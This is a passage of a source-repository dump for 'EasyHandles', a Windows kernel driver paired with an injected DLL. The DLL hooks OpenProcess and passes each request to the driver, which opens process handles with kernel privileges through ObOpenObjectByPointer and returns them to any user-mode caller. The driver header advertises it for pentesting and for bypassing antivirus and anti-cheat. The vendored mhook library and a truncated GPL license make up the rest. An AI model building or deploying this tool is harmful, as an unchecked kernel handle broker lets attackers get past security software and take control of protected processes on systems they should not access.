+ FixupIPRelativeAddressing(pTrampoline->codeTrampoline, (PBYTE)pSystemFunction, &patchdata);
+
+ DWORD_PTR dwDistance = (PBYTE)pHookFunction < (PBYTE)pSystemFunction ?
+ (PBYTE)pSystemFunction - (PBYTE)pHookFunction : (PBYTE)pHookFunction - (PBYTE)pSystemFunction;
+ if (dwDistance > 0x7fff0000) {
+ // create a stub that jumps to the replacement function.
+ // we need this because jumping from the API to the hook directly
+ // will be a long jump, which is 14 bytes on x64, and we want to
+ // avoid that - the API may or may not have room for such stuff.
+ // (remember, we only have 5 bytes guaranteed in the API.)
+ // on the other hand we do have room, and the trampoline will always be
+ // within +/- 2GB of the API, so we do the long jump in there.
+ // the API will jump to the "reverse trampoline" which
+ // will jump to the user's hook code.
+ pbCode = pTrampoline->codeJumpToHookFunction;
+ pbCode = EmitJump(pbCode, (PBYTE)pHookFunction);
+ ODPRINTF((L"mhooks: Mhook_SetHook: created reverse trampoline"));
+ FlushInstructionCache(GetCurrentProcess(), pTrampoline->codeJumpToHookFunction,
+ pbCode - pTrampoline->codeJumpToHookFunction);
+
+ // update the API itself
+ pbCode = (PBYTE)pSystemFunction;
+ pbCode = EmitJump(pbCode, pTrampoline->codeJumpToHookFunction);
+ }
+ else {
+ // the jump will be at most 5 bytes so we can do it directly
+ // update the API itself
+ pbCode = (PBYTE)pSystemFunction;
+ pbCode = EmitJump(pbCode, (PBYTE)pHookFunction);
+ }
+
+ // update data members
+ pTrampoline->cbOverwrittenCode = dwInstructionLength;
+ pTrampoline->pSystemFunction = (PBYTE)pSystemFunction;
+ pTrampoline->pHookFunction = (PBYTE)pHookFunction;
+
+ // flush instruction cache and restore original protection
+ FlushInstructionCache(GetCurrentProcess(), pTrampoline->codeTrampoline, dwInstructionLength);
+ VirtualProtect(pTrampoline, sizeof(MHOOKS_TRAMPOLINE), dwOldProtectTrampolineFunction, &dwOldProtectTrampolineFunction);
+ }
+ else {
+ ODPRINTF((L"mhooks: Mhook_SetHook: failed VirtualProtect 2: %d", gle()));
+ }
+ // flush instruction cache and restore original protection
+ FlushInstructionCache(GetCurrentProcess(), pSystemFunction, dwInstructionLength);
+ VirtualProtect(pSystemFunction, dwInstructionLength, dwOldProtectSystemFunction, &dwOldProtectSystemFunction);
+ }
+ else {
+ ODPRINTF((L"mhooks: Mhook_SetHook: failed VirtualProtect 1: %d", gle()));
+ }
+ if (pTrampoline->pSystemFunction) {
+ // this is what the application will use as the entry point
+ // to the "original" unhooked function.
+ *ppSystemFunction = pTrampoline->codeTrampoline;
+ ODPRINTF((L"mhooks: Mhook_SetHook: Hooked the function!"));
+ }
+ else {
+ // if we failed discard the trampoline (forcing VirtualFree)
+ TrampolineFree(pTrampoline, TRUE);
+ pTrampoline = NULL;
+ }
+ }
+ // resume everybody else
+ ResumeOtherThreads();
+ }
+ else {
+ ODPRINTF((L"mhooks: disassembly signals %d bytes (unacceptable)", dwInstructionLength));
+ }
+ LeaveCritSec();
+ return (pTrampoline != NULL);
+}
+
+//=========================================================================
+BOOL Mhook_Unhook(PVOID *ppHookedFunction) {
+ ODPRINTF((L"mhooks: Mhook_Unhook: %p", *ppHookedFunction));
+ BOOL bRet = FALSE;
+ EnterCritSec();
+ // get the trampoline structure that corresponds to our function
+ MHOOKS_TRAMPOLINE* pTrampoline = TrampolineGet((PBYTE)*ppHookedFunction);
+ if (pTrampoline) {
+ // make sure nobody's executing code where we're about to overwrite a few bytes
+ SuspendOtherThreads(pTrampoline->pSystemFunction, pTrampoline->cbOverwrittenCode);
+ ODPRINTF((L"mhooks: Mhook_Unhook: found struct at %p", pTrampoline));
+ DWORD dwOldProtectSystemFunction = 0;
+ // make memory writable
+ if (VirtualProtect(pTrampoline->pSystemFunction, pTrampoline->cbOverwrittenCode, PAGE_EXECUTE_READWRITE, &dwOldProtectSystemFunction)) {
+ ODPRINTF((L"mhooks: Mhook_Unhook: readwrite set on system function"));
+ PBYTE pbCode = (PBYTE)pTrampoline->pSystemFunction;
+ for (DWORD i = 0; icbOverwrittenCode; i++) {
+ pbCode[i] = pTrampoline->codeUntouched[i];
+ }
+ // flush instruction cache and make memory unwritable
+ FlushInstructionCache(GetCurrentProcess(), pTrampoline->pSystemFunction, pTrampoline->cbOverwrittenCode);
+ VirtualProtect(pTrampoline->pSystemFunction, pTrampoline->cbOverwrittenCode, dwOldProtectSystemFunction, &dwOldProtectSystemFunction);
+ // return the original function pointer
+ *ppHookedFunction = pTrampoline->pSystemFunction;
+ bRet = TRUE;
+ ODPRINTF((L"mhooks: Mhook_Unhook: sysfunc: %p", *ppHookedFunction));
+ // free the trampoline while not really discarding it from memory
+ TrampolineFree(pTrampoline, FALSE);
+ ODPRINTF((L"mhooks: Mhook_Unhook: unhook successful"));
+ }
+ else {
+ ODPRINTF((L"mhooks: Mhook_Unhook: failed VirtualProtect 1: %d", gle()));
+ }
+ // make the other guys runnable
+ ResumeOtherThreads();
+ }
+ LeaveCritSec();
+ return bRet;
+}
+
+//=========================================================================
+
+```
+
+`EasyHandlesDLL/disasm-lib/mhook.h`:
+
+```h
+//Copyright (c) 2007-2008, Marton Anka
+//
+//Permission is hereby granted, free of charge, to any person obtaining a
+//copy of this software and associated documentation files (the "Software"),
+//to deal in the Software without restriction, including without limitation
+//the rights to use, copy, modify, merge, publish, distribute, sublicense,
+//and/or sell copies of the Software, and to permit persons to whom the
+//Software is furnished to do so, subject to the following conditions:
+//
+//The above copyright notice and this permission notice shall be included
+//in all copies or substantial portions of the Software.
+//
+//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
+//OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+//FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
+//THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+//LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+//FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+//IN THE SOFTWARE.
+#pragma once
+#ifdef _M_IX86
+#define _M_IX86_X64
+#elif defined _M_X64
+#define _M_IX86_X64
+#endif
+
+BOOL Mhook_SetHook(PVOID *ppSystemFunction, PVOID pHookFunction);
+BOOL Mhook_Unhook(PVOID *ppHookedFunction);
+
+```
+
+`EasyHandlesDLL/disasm-lib/misc.c`:
+
+```c
+// Copyright (C) 2002, Matt Conover (mconover@gmail.com)
+#include "misc.h"
+
+BOOL IsHexChar(BYTE ch)
+{
+ switch (ch)
+ {
+ case '0': case '1': case '2': case '3':
+ case '4': case '5': case '6': case '7':
+ case '8': case '9':
+ case 'A': case 'a': case 'B': case 'b':
+ case 'C': case 'c': case 'D': case 'd':
+ case 'E': case 'e': case 'F': case 'f':
+ return TRUE;
+ default:
+ return FALSE;
+ }
+}
+
+// NOTE: caller must free the buffer returned
+BYTE *HexToBinary(char *Input, DWORD InputLength, DWORD *OutputLength)
+{
+ DWORD i, j, ByteCount = 0;
+ char temp_byte[3];
+ BYTE *p, *ByteString = NULL;
+
+ if (!InputLength || !OutputLength) return NULL;
+ else *OutputLength = 0;
+
+ while (*Input && isspace(*Input)) { Input++; InputLength--; }
+ if (!*Input) return NULL;
+ if (Input[0] == '\"') { Input++; InputLength--; }
+ p = (BYTE *)strchr(Input, '\"');
+ if (p) InputLength--;
+
+ if (InputLength > 2 && Input[2] == ' ') // assume spaces
+ {
+ for (i = 0; i < InputLength; i += 3)
+ {
+ while (i < InputLength && isspace(Input[i])) i++; // skip over extra space, \r, and \n
+ if (i >= InputLength) break;
+
+ if (!IsHexChar(Input[i]))
+ {
+ //fprintf(stderr, "ERROR: invalid hex character at offset %lu (0x%04x)\n", i, i);
+ goto abort;
+ }
+
+ if (i+1 >= InputLength || !Input[i+1])
+ {
+ //fprintf(stderr, "ERROR: hex string terminates unexpectedly at offset %lu (0x%04x)\n", i+1, i+1);
+ goto abort;
+ }
+
+ if (i+2 < InputLength && Input[i+2] && !isspace(Input[i+2]))
+ {
+ //fprintf(stderr, "ERROR: Hex string is malformed at offset %lu (0x%04x)\n", i, i);
+ //fprintf(stderr, "Found '%c' (0x%02x) instead of space\n", Input[i+2], Input[i+2]);
+ goto abort;
+ }
+
+ ByteCount++;
+ }
+
+ if (!ByteCount)
+ {
+ //fprintf(stderr, "Error: no input (byte count = 0)\n");
+ goto abort;
+ }
+
+ ByteString = malloc(ByteCount+1);
+ if (!ByteString)
+ {
+ //fprintf(stderr, "ERROR: failed to allocate %lu bytes\n", ByteCount);
+ goto abort;
+ }
+
+ memset(ByteString, 0, ByteCount+1);
+ for (i = 0, j = 0; j < ByteCount; i += 3, j++)
+ {
+ while (isspace(Input[i])) i++; // skip over extra space, \r, and \n
+ temp_byte[0] = Input[i];
+ temp_byte[1] = Input[i+1];
+ temp_byte[2] = 0;
+ ByteString[j] = (BYTE)strtoul(temp_byte, NULL, 16);
+ }
+ }
+ else if (InputLength > 2 && Input[0] == '\\')
+ {
+ for (i = 0; i < InputLength; i += 2)
+ {
+ if (Input[i] != '\\' || (Input[i+1] != 'x' && Input[i+1] != '0'))
+ {
+ //fprintf(stderr, "ERROR: invalid hex character at offset %lu (0x%04x)\n", i, i);
+ goto abort;
+ }
+ i += 2;
+
+ if (!IsHexChar(Input[i]))
+ {
+ //fprintf(stderr, "ERROR: invalid hex character at offset %lu (0x%04x)\n", i, i);
+ goto abort;
+ }
+ if (i+1 >= InputLength || !Input[i+1])
+ {
+ //fprintf(stderr, "ERROR: hex string terminates unexpectedly at offset %lu (0x%04x)\n", i+1, i+1);
+ goto abort;
+ }
+
+ ByteCount++;
+ }
+
+ if (!ByteCount)
+ {
+ //fprintf(stderr, "Error: no input (byte count = 0)\n");
+ goto abort;
+ }
+
+ ByteString = malloc(ByteCount+1);
+ if (!ByteString)
+ {
+ //fprintf(stderr, "ERROR: failed to allocate %lu bytes\n", ByteCount);
+ goto abort;
+ }
+
+ memset(ByteString, 0, ByteCount+1);
+ for (i = j = 0; j < ByteCount; i += 2, j++)
+ {
+ i += 2;
+ temp_byte[0] = Input[i];
+ temp_byte[1] = Input[i+1];
+ temp_byte[2] = 0;
+ ByteString[j] = (BYTE)strtoul(temp_byte, NULL, 16);
+ }
+ }
+ else // assume it is a hex string with no spaces with 2 bytes per character
+ {
+ for (i = 0; i < InputLength; i += 2)
+ {
+ if (!IsHexChar(Input[i]))
+ {
+ //fprintf(stderr, "ERROR: invalid hex character at offset %lu (0x%04x)\n", i, i);
+ goto abort;
+ }
+ if (i+1 >= InputLength || !Input[i+1])
+ {
+ //fprintf(stderr, "ERROR: hex string terminates unexpectedly at offset %lu (0x%04x)\n", i+1, i+1);
+ goto abort;
+ }
+
+ ByteCount++;
+ }
+
+ if (!ByteCount)
+ {
+ //fprintf(stderr, "Error: no input (byte count = 0)\n");
+ goto abort;
+ }
+
+ ByteString = malloc(ByteCount+1);
+ if (!ByteString)
+ {
+ //fprintf(stderr, "ERROR: failed to allocate %lu bytes\n", ByteCount);
+ goto abort;
+ }
+
+ memset(ByteString, 0, ByteCount+1);
+ for (i = 0, j = 0; j < ByteCount; i += 2, j++)
+ {
+ temp_byte[0] = Input[i];
+ temp_byte[1] = Input[i+1];
+ temp_byte[2] = 0;
+ ByteString[j] = (BYTE)strtoul(temp_byte, NULL, 16);
+ }
+ }
+
+ *OutputLength = ByteCount;
+ return ByteString;
+
+abort:
+ if (OutputLength) *OutputLength = 0;
+ if (ByteString) free(ByteString);
+ return NULL;
+}
+
+
+```
+
+`EasyHandlesDLL/disasm-lib/misc.h`:
+
+```h
+// Copyright (C) 2002, Matt Conover (mconover@gmail.com)
+#ifndef MISC_H
+#define MISC_H
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include
+#include
+#include
+#include
+
+#define MIN(a, b) ((a) < (b) ? (a) : (b))
+#define MAX(a, b) ((a) > (b) ? (a) : (b))
+
+// NOTE: start is inclusive, end is exclusive (as in start <= x < end)
+#define IS_IN_RANGE(x, s, e) \
+( \
+ ((ULONG_PTR)(x) == (ULONG_PTR)(s) && (ULONG_PTR)(x) == (ULONG_PTR)(e)) || \
+ ((ULONG_PTR)(x) >= (ULONG_PTR)(s) && (ULONG_PTR)(x) < (ULONG_PTR)(e)) \
+)
+
+#if _MSC_VER >= 1400
+#pragma warning(disable:4996)
+#endif
+
+#if defined(_WIN64)
+ #define VALID_ADDRESS_MAX 0x7FFEFFFFFFFFFFFF // Win64 specific
+ typedef unsigned __int64 ULONG_PTR, *PULONG_PTR;
+#else
+ #define VALID_ADDRESS_MAX 0x7FFEFFFF // Win32 specific
+ typedef unsigned long ULONG_PTR, *PULONG_PTR;
+#endif
+
+#ifndef DECLSPEC_ALIGN
+ #if (_MSC_VER >= 1300) && !defined(MIDL_PASS)
+ #define DECLSPEC_ALIGN(x) __declspec(align(x))
+ #else
+ #define DECLSPEC_ALIGN(x)
+ #endif
+#endif
+
+#define VALID_ADDRESS_MIN 0x10000 // Win32 specific
+#define IS_VALID_ADDRESS(a) IS_IN_RANGE(a, VALID_ADDRESS_MIN, VALID_ADDRESS_MAX+1)
+
+BOOL IsHexChar(BYTE ch);
+BYTE *HexToBinary(char *Input, DWORD InputLength, DWORD *OutputLength);
+
+#ifdef __cplusplus
+}
+#endif
+#endif // MISC_H
+
+```
+
+`EasyHandlesDLL/dllMain.cpp`:
+
+```cpp
+// dllmain.cpp : Defines the entry point for the DLL application.
+// Author : AlSch092 @ Github
+#define _CRT_SECURE_NO_WARNINGS
+
+#include
+#include
+#include
+#include "disasm-lib/mhook.h"
+
+#define DRIVER_NAME L"\\\\.\\HandleDrv"
+
+#define FILE_DEVICE_UNKNOWN 0x00000022
+#define METHOD_BUFFERED 0
+#define FILE_ANY_ACCESS 0
+
+#define CTL_CODE( DeviceType, Function, Method, Access ) (((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) )
+
+#define IOCTL_OPEN_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x900, METHOD_BUFFERED, FILE_ANY_ACCESS)
+#define IOCTL_CLOSE_HANDLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x901, METHOD_BUFFERED, FILE_ANY_ACCESS)
+
+typedef struct _OPEN_PROC_REQUEST {
+ ULONG Pid;
+ ACCESS_MASK Access;
+} OPEN_PROC_REQUEST, * POPEN_PROC_REQUEST;
+
+typedef struct _OPEN_PROC_RESPONSE {
+ HANDLE HandleValue; // returned handle
+} OPEN_PROC_RESPONSE, * POPEN_PROC_RESPONSE;
+
+typedef struct _CLOSE_HANDLE_REQUEST {
+ ULONG Pid;
+ HANDLE HandleValue;
+} CLOSE_HANDLE_REQUEST, * PCLOSE_HANDLE_REQUEST;
+
+std::atomic g_bHooked = false;
+std::atomic g_OpenProcessAddr = 0;
+
+HANDLE FetchPseudohandle(__in const DWORD pid, __in const ACCESS_MASK access)
+{
+ HANDLE h = CreateFileW(DRIVER_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
+
+ if (h == NULL || h == INVALID_HANDLE_VALUE)
+ {
+ printf("[ERROR] OpenProcessHook: CreateFileW failed\n");
+ return NULL;
+ }
+
+ OPEN_PROC_REQUEST req = { pid, access };
+ OPEN_PROC_RESPONSE resp;
+
+ DWORD bytesReturned = 0;
+
+ if (DeviceIoControl(h, IOCTL_OPEN_PROCESS, &req, sizeof(req), &resp, sizeof(resp), &bytesReturned, NULL))
+ {
+ printf("Kernel gave us handle: %p\n", resp.HandleValue);
+ CloseHandle(h);
+ return resp.HandleValue;
+ }
+ else
+ {
+ printf("[ERROR] DeviceIoControl: failed with %d, %p\n", GetLastError(), resp.HandleValue);
+ return NULL;
+ }
+}
+
+HANDLE OpenProcessHook(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
+{
+ return FetchPseudohandle(dwProcessId, dwDesiredAccess);
+}
+
+bool InitEasyHandlesAgent()
+{
+ HMODULE hModule = GetModuleHandleA("kernel32.dll");
+
+ if (!hModule)
+ {
+ printf("[ERROR] Failed to hook OpenProcess: GetModuleHandleA failed with: %d\n ", GetLastError());
+ return false;
+ }
+
+ g_OpenProcessAddr.store((uintptr_t)GetProcAddress(hModule, "OpenProcess"), std::memory_order_relaxed);
+
+ if (!g_OpenProcessAddr)
+ {
+ printf("[ERROR] Failed to hook OpenProcess: GetProcAddress failed with: %d\n", GetLastError());
+ return false;
+ }
+
+ uintptr_t HookFunc = (uintptr_t)&OpenProcessHook;
+ uintptr_t HookedFunc = (uintptr_t)g_OpenProcessAddr.load(std::memory_order_relaxed);
+
+ //set hook
+ if (Mhook_SetHook((PVOID*)&HookedFunc, (PVOID)HookFunc))
+ {
+ printf("Successfully hooked OpenProcess!\n");
+ g_bHooked = true;
+ }
+ else
+ {
+ printf("[ERROR] Failed to hook OpenProcess!\n");
+ return false;
+ }
+
+ return true;
+}
+
+BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
+{
+ switch (ul_reason_for_call)
+ {
+ case DLL_PROCESS_ATTACH:
+ {
+ AllocConsole();
+ freopen("CONOUT$", "w", stdout);
+ freopen("CONIN$", "r", stdin);
+
+ InitEasyHandlesAgent();
+
+ //{
+ // HANDLE t = FetchPseudohandle(16320, PROCESS_ALL_ACCESS); //...or if you want to test on an individual PID without hooking `OpenProcess`
+
+ // if (t != INVALID_HANDLE_VALUE)
+ // {
+ // CloseHandle(t);
+ // }
+ //}
+
+ } break;
+
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ case DLL_PROCESS_DETACH:
+ if (g_bHooked)
+ {
+ Mhook_Unhook((PVOID*)&OpenProcess);
+ }
+ break;
+ }
+ return TRUE;
+}
+
+
+```
+
+`EasyHandlesDrv/Driver.c`:
+
+```c
+/*++
+
+Module Name:
+
+ driver.c
+
+Abstract:
+
+ This file contains the driver entry points and callbacks.
+
+Environment:
+
+ Kernel-mode Driver Framework
+
+Author:
+
+ AlSch092 @ Github
+
+Usage:
+
+ Pentesting, red-teaming, AV/AC bypassing, reversing windows system processes
+
+--*/
+#include
+#include
+
+
+PDRIVER_OBJECT g_DriverObject = NULL;
+
+#define IOCTL_OPEN_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x900, METHOD_BUFFERED, FILE_ANY_ACCESS)
+#define IOCTL_CLOSE_HANDLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x901, METHOD_BUFFERED, FILE_ANY_ACCESS)
+
+typedef struct _OPEN_PROC_REQUEST {
+ ULONG Pid;
+ ACCESS_MASK Access;
+} OPEN_PROC_REQUEST, * POPEN_PROC_REQUEST;
+
+typedef struct _OPEN_PROC_RESPONSE {
+ HANDLE HandleValue; // returned handle
+} OPEN_PROC_RESPONSE, * POPEN_PROC_RESPONSE;
+
+typedef struct _CLOSE_HANDLE_REQUEST {
+ ULONG Pid;
+ HANDLE HandleValue;
+} CLOSE_HANDLE_REQUEST, * PCLOSE_HANDLE_REQUEST;
+
+NTSTATUS DeviceControl(
+ PDEVICE_OBJECT DeviceObject,
+ PIRP Irp
+)
+{
+ UNREFERENCED_PARAMETER(DeviceObject);
+
+ PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
+ ULONG code = stack->Parameters.DeviceIoControl.IoControlCode;
+ NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
+
+ PVOID buffer = Irp->AssociatedIrp.SystemBuffer;
+ ULONG inLen = stack->Parameters.DeviceIoControl.InputBufferLength;
+ ULONG outLen = stack->Parameters.DeviceIoControl.OutputBufferLength;
+
+ switch (code)
+ {
+ case IOCTL_OPEN_PROCESS:
+ {
+ if (inLen < sizeof(OPEN_PROC_REQUEST) || outLen < sizeof(OPEN_PROC_RESPONSE))
+ {
+ status = STATUS_BUFFER_TOO_SMALL;
+ break;
+ }
+
+ POPEN_PROC_REQUEST req = (POPEN_PROC_REQUEST)buffer;
+ POPEN_PROC_RESPONSE resp = (POPEN_PROC_RESPONSE)buffer;
+
+ PEPROCESS targetProc = NULL;
+ status = PsLookupProcessByProcessId((HANDLE)req->Pid, &targetProc); //Look up the target process object
+ if (!NT_SUCCESS(status))
+ break;
+
+ PEPROCESS caller = IoGetRequestorProcess(Irp); //Attach to the caller process
+ KAPC_STATE apc;
+ KeStackAttachProcess(caller, &apc);
+
+ HANDLE hUser = NULL;
+ status = ObOpenObjectByPointer( //open the handle using kernel privileges
+ targetProc,
+ 0,
+ NULL,
+ req->Access,
+ *PsProcessType,
+ KernelMode,
+ &hUser
+ );
+
+ KeUnstackDetachProcess(&apc);
+ ObDereferenceObject(targetProc);
+
+ DbgPrint("ObOpenObjectByPointer returned: %d, handle: %llx\n", status, (UINT64)hUser);
+
+ if (!NT_SUCCESS(status))
+ break;
+
+ resp->HandleValue = hUser; //return handle directly to usermode
+ Irp->IoStatus.Information = sizeof(OPEN_PROC_RESPONSE);
+
+ break;
+ }
+
+ default:
+ status = STATUS_INVALID_DEVICE_REQUEST;
+ break;
+ }
+
+ Irp->IoStatus.Status = status;
+ IoCompleteRequest(Irp, IO_NO_INCREMENT);
+ return status;
+}
+
+NTSTATUS CreateCloseRequest(PDEVICE_OBJECT DeviceObj, PIRP Irp)
+{
+ UNREFERENCED_PARAMETER(DeviceObj);
+ Irp->IoStatus.Status = STATUS_SUCCESS;
+ IoCompleteRequest(Irp, IO_NO_INCREMENT);
+ return STATUS_SUCCESS;
+}
+
+
+VOID UnloadDriver(IN PDRIVER_OBJECT DriverObject)
+{
+ UNREFERENCED_PARAMETER(DriverObject);
+
+ DbgPrint("Unloading driver...\n");
+
+ UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\HandleDrv");
+ if (NT_SUCCESS(IoDeleteSymbolicLink(&symLink)))
+ {
+ DbgPrint("Symbolic link deleted.\n");
+ }
+ else
+ {
+ DbgPrint("Symbolic link was not created, no deletion needed.\n");
+ }
+
+ PDEVICE_OBJECT deviceObject = DriverObject->DeviceObject;
+ IoDeleteDevice(deviceObject);
+
+ DbgPrint("Driver unloaded successfully.\n");
+}
+
+NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
+{
+ UNREFERENCED_PARAMETER(RegistryPath);
+
+ g_DriverObject = DriverObject;
+ DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControl;
+ DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateCloseRequest;
+ DriverObject->DriverUnload = UnloadDriver;
+
+ UNICODE_STRING devName = RTL_CONSTANT_STRING(L"\\Device\\HandleDrv");
+ UNICODE_STRING symName = RTL_CONSTANT_STRING(L"\\DosDevices\\HandleDrv");
+
+ PDEVICE_OBJECT devObj = NULL;
+ NTSTATUS status = IoCreateDevice(
+ DriverObject,
+ 0,
+ &devName,
+ FILE_DEVICE_UNKNOWN,
+ FILE_DEVICE_SECURE_OPEN,
+ FALSE,
+ &devObj
+ );
+ if (!NT_SUCCESS(status))
+ return status;
+
+ devObj->Flags |= DO_BUFFERED_IO;
+ devObj->Flags &= ~DO_DEVICE_INITIALIZING;
+
+ IoCreateSymbolicLink(&symName, &devName);
+
+ return STATUS_SUCCESS;
+}
+
+```
+
+`EasyHandlesDrv/EasyHandles.inf`:
+
+```inf
+;
+; EasyHandles.inf
+;
+
+[Version]
+Signature = "$WINDOWS NT$"
+Class = System ; TODO: specify appropriate Class
+ClassGuid = {4d36e97d-e325-11ce-bfc1-08002be10318} ; TODO: specify appropriate ClassGuid
+Provider = %ManufacturerName%
+CatalogFile = EasyHandles.cat
+DriverVer = ; TODO: set DriverVer in stampinf property pages
+PnpLockdown = 1
+
+[DestinationDirs]
+DefaultDestDir = 13
+
+[SourceDisksNames]
+1 = %DiskName%,,,""
+
+[SourceDisksFiles]
+EasyHandles.sys = 1,,
+
+;*****************************************
+; Install Section
+;*****************************************
+
+[Manufacturer]
+%ManufacturerName% = Standard,NT$ARCH$.10.0...16299 ; %13% support introduced in build 16299
+
+[Standard.NT$ARCH$.10.0...16299]
+%EasyHandles.DeviceDesc% = EasyHandles_Device, Root\EasyHandles ; TODO: edit hw-id
+
+[EasyHandles_Device.NT]
+CopyFiles = File_Copy
+
+[File_Copy]
+EasyHandles.sys
+
+;-------------- Service installation
+[EasyHandles_Device.NT.Services]
+AddService = EasyHandles,%SPSVCINST_ASSOCSERVICE%, EasyHandles_Service_Inst
+
+; -------------- EasyHandles driver install sections
+[EasyHandles_Service_Inst]
+DisplayName = %EasyHandles.SVCDESC%
+ServiceType = 1 ; SERVICE_KERNEL_DRIVER
+StartType = 3 ; SERVICE_DEMAND_START
+ErrorControl = 1 ; SERVICE_ERROR_NORMAL
+ServiceBinary = %13%\EasyHandles.sys
+
+[EasyHandles_Device.NT.Wdf]
+KmdfService = EasyHandles, EasyHandles_wdfsect
+
+[EasyHandles_wdfsect]
+KmdfLibraryVersion = $KMDFVERSION$
+
+[Strings]
+SPSVCINST_ASSOCSERVICE = 0x00000002
+ManufacturerName = "AlSch092" ;TODO: Replace with your manufacturer name
+DiskName = "EasyHandles Installation Disk"
+EasyHandles.DeviceDesc = "EasyHandles Device"
+EasyHandles.SVCDESC = "EasyHandles Service"
+
+```
+
+`EasyHandlesDrv/EasyHandles.vcxproj`:
+
+```vcxproj
+
+
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+ Debug
+ ARM64
+
+
+ Release
+ ARM64
+
+
+
+
+
+
+
+
+
+
+
+
+ {2B45FB0D-BC99-6E0E-3EEA-5E21264955D3}
+ {497e31cb-056b-4f31-abb8-447fd55ee5a5}
+ v4.5
+ 12.0
+ Debug
+ x64
+ EasyHandles
+
+
+
+ Windows10
+ true
+ WindowsKernelModeDriver10.0
+ Driver
+ KMDF
+ Universal
+
+
+ Windows10
+ false
+ WindowsKernelModeDriver10.0
+ Driver
+ KMDF
+ Universal
+
+
+ Windows10
+ true
+ WindowsKernelModeDriver10.0
+ Driver
+ KMDF
+ Universal
+
+
+ Windows10
+ false
+ WindowsKernelModeDriver10.0
+ Driver
+ KMDF
+ Universal
+
+
+
+
+
+
+
+
+
+
+
+ DbgengKernelDebugger
+
+
+ DbgengKernelDebugger
+
+
+ DbgengKernelDebugger
+
+
+ DbgengKernelDebugger
+
+
+
+ false
+ true
+
+
+ true
+
+
+ sha256
+
+
+
+
+ false
+ true
+
+
+ true
+
+
+ sha256
+
+
+
+
+ true
+ true
+ trace.h
+ true
+
+
+ sha256
+
+
+
+
+ true
+ true
+ trace.h
+ true
+
+
+ sha256
+
+
+
+
+
+
+
+
+
+
+```
+
+`EasyHandlesDrv/EasyHandles.vcxproj.filters`:
+
+```filters
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hpp;hxx;hm;inl;inc;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+ {8E41214B-6785-4CFE-B992-037D68949A14}
+ inf;inv;inx;mof;mc;
+
+
+
+
+
+
+
+ Driver Files
+
+
+
+
+ Source Files
+
+
+
+```
+
+`LICENSE`:
+
+```
+ GNU GENERAL PUBLIC LICENSE
+ Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc.
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+ The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works. By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users. We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors. You can apply it to
+your programs, too.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+ To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights. Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+ For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received. You must make sure that they, too, receive
+or can get the source code. And you must show them these terms so they
+know their rights.
+
+ Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+ For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software. For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+ Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so. This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software. The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable. Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products. If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+ Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
